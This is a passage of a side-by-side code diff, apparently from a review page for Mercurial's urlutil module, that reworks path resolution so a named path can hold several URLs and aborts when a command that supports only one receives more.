537 msg = _("default path points to %d urls while %s only supports one")
538 msg %= (len(dests), action)
539 else:
540 msg = _("path points to %d urls while %s only supports one: %s")
541 msg %= (len(dests), action, dest)
542 raise error.Abort(msg)
530 return dests[0]
543 return dests[0]
531
544
532
545
533 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
546 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
534 """return a unique `(path, branch)` or abort if multiple are found
547 """return a unique `(path, branch)` or abort if multiple are found
535
548
536 This is useful for command and action that does not support multiple
549 This is useful for command and action that does not support multiple
537 destination (yet).
550 destination (yet).
538
551
539 Note that for now, we cannot get multiple destination so this function is "trivial".
552 Note that for now, we cannot get multiple destination so this function is "trivial".
540
553
541 The `action` parameter will be used for the error message.
554 The `action` parameter will be used for the error message.
542 """
555 """
556 urls = []
543 if source is None:
557 if source is None:
544 if b'default' in ui.paths:
558 if b'default' in ui.paths:
545 url = ui.paths[b'default'].rawloc
559 urls.extend(p.rawloc for p in ui.paths[b'default'])
546 else:
560 else:
547 # XXX this is the historical default behavior, but that is not
561 # XXX this is the historical default behavior, but that is not
548 # great, consider breaking BC on this.
562 # great, consider breaking BC on this.
549 url = b'default'
563 urls.append(b'default')
550 else:
564 else:
551 if source in ui.paths:
565 if source in ui.paths:
552 url = ui.paths[source].rawloc
566 urls.extend(p.rawloc for p in ui.paths[source])
553 else:
567 else:
554 # Try to resolve as a local path or URI.
568 # Try to resolve as a local path or URI.
555 path = try_path(ui, source)
569 path = try_path(ui, source)
556 if path is not None:
570 if path is not None:
557 url = path.rawloc
571 urls.append(path.rawloc)
558 else:
572 else:
559 url = source
573 urls.append(source)
560 return parseurl(url, default_branches)
574 if len(urls) != 1:
575 if source is None:
576 msg = _("default path points to %d urls while %s only supports one")
577 msg %= (len(urls), action)
578 else:
579 msg = _("path points to %d urls while %s only supports one: %s")
580 msg %= (len(urls), action, source)
581 raise error.Abort(msg)
582 return parseurl(urls[0], default_branches)
561
583
562
584
563 def get_clone_path(ui, source, default_branches=()):
585 def get_clone_path(ui, source, default_branches=()):
564 """return the `(origsource, path, branch)` selected as clone source"""
586 """return the `(origsource, path, branch)` selected as clone source"""
587 urls = []
565 if source is None:
588 if source is None:
566 if b'default' in ui.paths:
589 if b'default' in ui.paths:
567 url = ui.paths[b'default'].rawloc
590 urls.extend(p.rawloc for p in ui.paths[b'default'])
568 else:
591 else:
569 # XXX this is the historical default behavior, but that is not
592 # XXX this is the historical default behavior, but that is not
570 # great, consider breaking BC on this.
593 # great, consider breaking BC on this.
571 url = b'default'
594 urls.append(b'default')
572 else:
595 else:
573 if source in ui.paths:
596 if source in ui.paths:
574 url = ui.paths[source].rawloc
597 urls.extend(p.rawloc for p in ui.paths[source])
575 else:
598 else:
576 # Try to resolve as a local path or URI.
599 # Try to resolve as a local path or URI.
577 path = try_path(ui, source)
600 path = try_path(ui, source)
578 if path is not None:
601 if path is not None:
579 url = path.rawloc
602 urls.append(path.rawloc)
580 else:
603 else:
581 url = source
604 urls.append(source)
605 if len(urls) != 1:
606 if source is None:
607 msg = _(
608 "default path points to %d urls while only one is supported"
609 )
610 msg %= len(urls)
611 else:
612 msg = _("path points to %d urls while only one is supported: %s")
613 msg %= (len(urls), source)
614 raise error.Abort(msg)
615 url = urls[0]
582 clone_path, branch = parseurl(url, default_branches)
616 clone_path, branch = parseurl(url, default_branches)
583 return url, clone_path, branch
617 return url, clone_path, branch
584
618
585
619
586 def parseurl(path, branches=None):
620 def parseurl(path, branches=None):
587 '''parse url#branch, returning (url, (branch, branches))'''
621 '''parse url#branch, returning (url, (branch, branches))'''
588 u = url(path)
622 u = url(path)
589 branch = None
623 branch = None
590 if u.fragment:
624 if u.fragment:
591 branch = u.fragment
625 branch = u.fragment
592 u.fragment = None
626 u.fragment = None
593 return bytes(u), (branch, branches or [])
627 return bytes(u), (branch, branches or [])
594
628
595
629
596 class paths(dict):
630 class paths(dict):
597 """Represents a collection of paths and their configs.
631 """Represents a collection of paths and their configs.
598
632
599 Data is initially derived from ui instances and the config files they have
633 Data is initially derived from ui instances and the config files they have
600 loaded.
634 loaded.
601 """
635 """
602
636
603 def __init__(self, ui):
637 def __init__(self, ui):
604 dict.__init__(self)
638 dict.__init__(self)
605
639
606 for name, loc in ui.configitems(b'paths', ignoresub=True):
640 for name, loc in ui.configitems(b'paths', ignoresub=True):
607 # No location is the same as not existing.
641 # No location is the same as not existing.
608 if not loc:
642 if not loc:
609 continue
643 continue
610 loc, sub_opts = ui.configsuboptions(b'paths', name)
644 loc, sub_opts = ui.configsuboptions(b'paths', name)
611 self[name] = path(ui, name, rawloc=loc, suboptions=sub_opts)
645 self[name] = [path(ui, name, rawloc=loc, suboptions=sub_opts)]
612
646
613 for name, p in sorted(self.items()):
647 for name, old_paths in sorted(self.items()):
614 self[name] = _chain_path(p, ui, self)
648 new_paths = []
649 for p in old_paths:
650 new_paths.extend(_chain_path(p, ui, self))
651 self[name] = new_paths
615
652
616 def getpath(self, ui, name, default=None):
653 def getpath(self, ui, name, default=None):
617 """Return a ``path`` from a string, falling back to default.
654 """Return a ``path`` from a string, falling back to default.
618
655
619 ``name`` can be a named path or locations. Locations are filesystem
656 ``name`` can be a named path or locations. Locations are filesystem
620 paths or URIs.
657 paths or URIs.
621
658
622 Returns None if ``name`` is not a registered path, a URI, or a local
659 Returns None if ``name`` is not a registered path, a URI, or a local
623 path to a repo.
660 path to a repo.
624 """
661 """
625 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
662 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
626 self.deprecwarn(msg, '6.0')
663 self.deprecwarn(msg, '6.0')
627 # Only fall back to default if no path was requested.
664 # Only fall back to default if no path was requested.
628 if name is None:
665 if name is None:
629 if not default:
666 if not default:
630 default = ()
667 default = ()
631 elif not isinstance(default, (tuple, list)):
668 elif not isinstance(default, (tuple, list)):
632 default = (default,)
669 default = (default,)
633 for k in default:
670 for k in default:
634 try:
671 try:
635 return self[k]
672 return self[k][0]
636 except KeyError:
673 except KeyError:
637 continue
674 continue
638 return None
675 return None
639
676
640 # Most likely empty string.
677 # Most likely empty string.
641 # This may need to raise in the future.
678 # This may need to raise in the future.
642 if not name:
679 if not name:
643 return None
680 return None
644 if name in self:
681 if name in self:
645 return self[name]
682 return self[name][0]
646 else:
683 else:
647 # Try to resolve as a local path or URI.
684 # Try to resolve as a local path or URI.
648 path = try_path(ui, name)
685 path = try_path(ui, name)
649 if path is None:
686 if path is None:
650 raise error.RepoError(_(b'repository %s does not exist') % name)
687 raise error.RepoError(_(b'repository %s does not exist') % name)
651 return path.rawloc
688 return path.rawloc
652
689
653
690
654 _pathsuboptions = {}
691 _pathsuboptions = {}
655
692
656
693
657 def pathsuboption(option, attr):
694 def pathsuboption(option, attr):
658 """Decorator used to declare a path sub-option.
695 """Decorator used to declare a path sub-option.
659
696
660 Arguments are the sub-option name and the attribute it should set on
697 Arguments are the sub-option name and the attribute it should set on
661 ``path`` instances.
698 ``path`` instances.
662
699
663 The decorated function will receive as arguments a ``ui`` instance,
700 The decorated function will receive as arguments a ``ui`` instance,
664 ``path`` instance, and the string value of this option from the config.
701 ``path`` instance, and the string value of this option from the config.
665 The function should return the value that will be set on the ``path``
702 The function should return the value that will be set on the ``path``
666 instance.
703 instance.
667
704
668 This decorator can be used to perform additional verification of
705 This decorator can be used to perform additional verification of
669 sub-options and to change the type of sub-options.
706 sub-options and to change the type of sub-options.
670 """
707 """
671
708
672 def register(func):
709 def register(func):
673 _pathsuboptions[option] = (attr, func)
710 _pathsuboptions[option] = (attr, func)
674 return func
711 return func
675
712
676 return register
713 return register
677
714
678
715
679 @pathsuboption(b'pushurl', b'pushloc')
716 @pathsuboption(b'pushurl', b'pushloc')
680 def pushurlpathoption(ui, path, value):
717 def pushurlpathoption(ui, path, value):
681 u = url(value)
718 u = url(value)
682 # Actually require a URL.
719 # Actually require a URL.
683 if not u.scheme:
720 if not u.scheme:
684 ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
721 ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
685 return None
722 return None
686
723
687 # Don't support the #foo syntax in the push URL to declare branch to
724 # Don't support the #foo syntax in the push URL to declare branch to
688 # push.
725 # push.
689 if u.fragment:
726 if u.fragment:
690 ui.warn(
727 ui.warn(
691 _(
728 _(
692 b'("#fragment" in paths.%s:pushurl not supported; '
729 b'("#fragment" in paths.%s:pushurl not supported; '
693 b'ignoring)\n'
730 b'ignoring)\n'
694 )
731 )
695 % path.name
732 % path.name
696 )
733 )
697 u.fragment = None
734 u.fragment = None
698
735
699 return bytes(u)
736 return bytes(u)
700
737
701
738
702 @pathsuboption(b'pushrev', b'pushrev')
739 @pathsuboption(b'pushrev', b'pushrev')
703 def pushrevpathoption(ui, path, value):
740 def pushrevpathoption(ui, path, value):
704 return value
741 return value
705
742
706
743
707 def _chain_path(path, ui, paths):
744 def _chain_path(base_path, ui, paths):
708 """return the result of "path://" logic applied on a given path"""
745 """return the result of "path://" logic applied on a given path"""
709 if path.url.scheme == b'path':
746 new_paths = []
710 assert path.url.path is None
747 if base_path.url.scheme != b'path':
711 subpath = paths.get(path.url.host)
748 new_paths.append(base_path)
712 if subpath is None:
749 else:
750 assert base_path.url.path is None
751 sub_paths = paths.get(base_path.url.host)
752 if sub_paths is None:
713 m = _(b'cannot use `%s`, "%s" is not a known path')
753 m = _(b'cannot use `%s`, "%s" is not a known path')
714 m %= (path.rawloc, path.url.host)
754 m %= (base_path.rawloc, base_path.url.host)
715 raise error.Abort(m)
716 if subpath.raw_url.scheme == b'path':
717 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
718 m %= (path.rawloc, path.url.host)
719 raise error.Abort(m)
755 raise error.Abort(m)
720 path.url = subpath.url
756 for subpath in sub_paths:
721 path.rawloc = subpath.rawloc
757 path = base_path.copy()
722 path.loc = subpath.loc
758 if subpath.raw_url.scheme == b'path':
723 if path.branch is None:
759 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
724 path.branch = subpath.branch
760 m %= (path.rawloc, path.url.host)
725 else:
761 raise error.Abort(m)
726 base = path.rawloc.rsplit(b'#', 1)[0]
762 path.url = subpath.url
727 path.rawloc = b'%s#%s' % (base, path.branch)
763 path.rawloc = subpath.rawloc
728 suboptions = subpath._all_sub_opts.copy()
764 path.loc = subpath.loc
729 suboptions.update(path._own_sub_opts)
765 if path.branch is None:
730 path._apply_suboptions(ui, suboptions)
766 path.branch = subpath.branch
731 return path
767 else:
768 base = path.rawloc.rsplit(b'#', 1)[0]
769 path.rawloc = b'%s#%s' % (base, path.branch)
770 suboptions = subpath._all_sub_opts.copy()
771 suboptions.update(path._own_sub_opts)
772 path._apply_suboptions(ui, suboptions)
773 new_paths.append(path)
774 return new_paths
732
775
733
776
734 class path(object):
777 class path(object):
735 """Represents an individual path and its configuration."""
778 """Represents an individual path and its configuration."""
736
779
737 def __init__(self, ui=None, name=None, rawloc=None, suboptions=None):
780 def __init__(self, ui=None, name=None, rawloc=None, suboptions=None):
738 """Construct a path from its config options.
781 """Construct a path from its config options.
739
782
740 ``ui`` is the ``ui`` instance the path is coming from.
783 ``ui`` is the ``ui`` instance the path is coming from.
741 ``name`` is the symbolic name of the path.
784 ``name`` is the symbolic name of the path.
742 ``rawloc`` is the raw location, as defined in the config.
785 ``rawloc`` is the raw location, as defined in the config.
743 ``pushloc`` is the raw locations pushes should be made to.
786 ``pushloc`` is the raw locations pushes should be made to.
744
787
745 If ``name`` is not defined, we require that the location be a) a local
788 If ``name`` is not defined, we require that the location be a) a local
746 filesystem path with a .hg directory or b) a URL. If not,
789 filesystem path with a .hg directory or b) a URL. If not,
747 ``ValueError`` is raised.
790 ``ValueError`` is raised.
748 """
791 """
749 if ui is None:
792 if ui is None:
750 # used in copy
793 # used in copy
751 assert name is None
794 assert name is None
752 assert rawloc is None
795 assert rawloc is None
753 assert suboptions is None
796 assert suboptions is None
754 return
797 return
755
798
756 if not rawloc:
799 if not rawloc:
757 raise ValueError(b'rawloc must be defined')
800 raise ValueError(b'rawloc must be defined')
758
801
759 # Locations may define branches via syntax <base>#<branch>.
802 # Locations may define branches via syntax <base>#<branch>.
760 u = url(rawloc)
803 u = url(rawloc)
761 branch = None
804 branch = None
762 if u.fragment:
805 if u.fragment:
763 branch = u.fragment
806 branch = u.fragment
764 u.fragment = None
807 u.fragment = None
765
808
766 self.url = u
809 self.url = u
767 # the url from the config/command line before dealing with `path://`
810 # the url from the config/command line before dealing with `path://`
768 self.raw_url = u.copy()
811 self.raw_url = u.copy()
769 self.branch = branch
812 self.branch = branch
770
813
771 self.name = name
814 self.name = name
772 self.rawloc = rawloc
815 self.rawloc = rawloc
773 self.loc = b'%s' % u
816 self.loc = b'%s' % u
774
817
775 self._validate_path()
818 self._validate_path()
776
819
777 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
820 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
778 self._own_sub_opts = {}
821 self._own_sub_opts = {}
779 if suboptions is not None:
822 if suboptions is not None:
780 self._own_sub_opts = suboptions.copy()
823 self._own_sub_opts = suboptions.copy()
781 sub_opts.update(suboptions)
824 sub_opts.update(suboptions)
782 self._all_sub_opts = sub_opts.copy()
825 self._all_sub_opts = sub_opts.copy()
783
826
784 self._apply_suboptions(ui, sub_opts)
827 self._apply_suboptions(ui, sub_opts)
785
828
786 def copy(self):
829 def copy(self):
787 """make a copy of this path object"""
830 """make a copy of this path object"""
788 new = self.__class__()
831 new = self.__class__()
789 for k, v in self.__dict__.items():
832 for k, v in self.__dict__.items():
790 new_copy = getattr(v, 'copy', None)
833 new_copy = getattr(v, 'copy', None)
791 if new_copy is not None:
834 if new_copy is not None:
792 v = new_copy()
835 v = new_copy()
793 new.__dict__[k] = v
836 new.__dict__[k] = v
794 return new
837 return new
795
838
796 def _validate_path(self):
839 def _validate_path(self):
797 # When given a raw location but not a symbolic name, validate the
840 # When given a raw location but not a symbolic name, validate the
798 # location is valid.
841 # location is valid.
799 if (
842 if (
800 not self.name
843 not self.name
801 and not self.url.scheme
844 and not self.url.scheme
802 and not self._isvalidlocalpath(self.loc)
845 and not self._isvalidlocalpath(self.loc)
803 ):
846 ):
804 raise ValueError(
847 raise ValueError(
805 b'location is not a URL or path to a local '
848 b'location is not a URL or path to a local '
806 b'repo: %s' % self.rawloc
849 b'repo: %s' % self.rawloc
807 )
850 )
808
851
809 def _apply_suboptions(self, ui, sub_options):
852 def _apply_suboptions(self, ui, sub_options):
810 # Now process the sub-options. If a sub-option is registered, its
853 # Now process the sub-options. If a sub-option is registered, its
811 # attribute will always be present. The value will be None if there
854 # attribute will always be present. The value will be None if there
812 # was no valid sub-option.
855 # was no valid sub-option.
813 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
856 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
814 if suboption not in sub_options:
857 if suboption not in sub_options:
815 setattr(self, attr, None)
858 setattr(self, attr, None)
816 continue
859 continue
817
860
818 value = func(ui, self, sub_options[suboption])
861 value = func(ui, self, sub_options[suboption])
819 setattr(self, attr, value)
862 setattr(self, attr, value)
820
863
821 def _isvalidlocalpath(self, path):
864 def _isvalidlocalpath(self, path):
822 """Returns True if the given path is a potentially valid repository.
865 """Returns True if the given path is a potentially valid repository.
823 This is its own function so that extensions can change the definition of
866 This is its own function so that extensions can change the definition of
824 'valid' in this case (like when pulling from a git repo into a hg
867 'valid' in this case (like when pulling from a git repo into a hg
825 one)."""
868 one)."""
826 try:
869 try:
827 return os.path.isdir(os.path.join(path, b'.hg'))
870 return os.path.isdir(os.path.join(path, b'.hg'))
828 # Python 2 may return TypeError. Python 3, ValueError.
871 # Python 2 may return TypeError. Python 3, ValueError.
829 except (TypeError, ValueError):
872 except (TypeError, ValueError):
830 return False
873 return False
831
874
832 @property
875 @property
833 def suboptions(self):
876 def suboptions(self):
834 """Return sub-options and their values for this path.
877 """Return sub-options and their values for this path.
835
878
836 This is intended to be used for presentation purposes.
879 This is intended to be used for presentation purposes.
837 """
880 """
838 d = {}
881 d = {}
839 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
882 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
840 value = getattr(self, attr)
883 value = getattr(self, attr)
841 if value is not None:
884 if value is not None:
842 d[subopt] = value
885 d[subopt] = value
843 return d
886 return d
General Comments 0
You need to be logged in to leave comments. Login now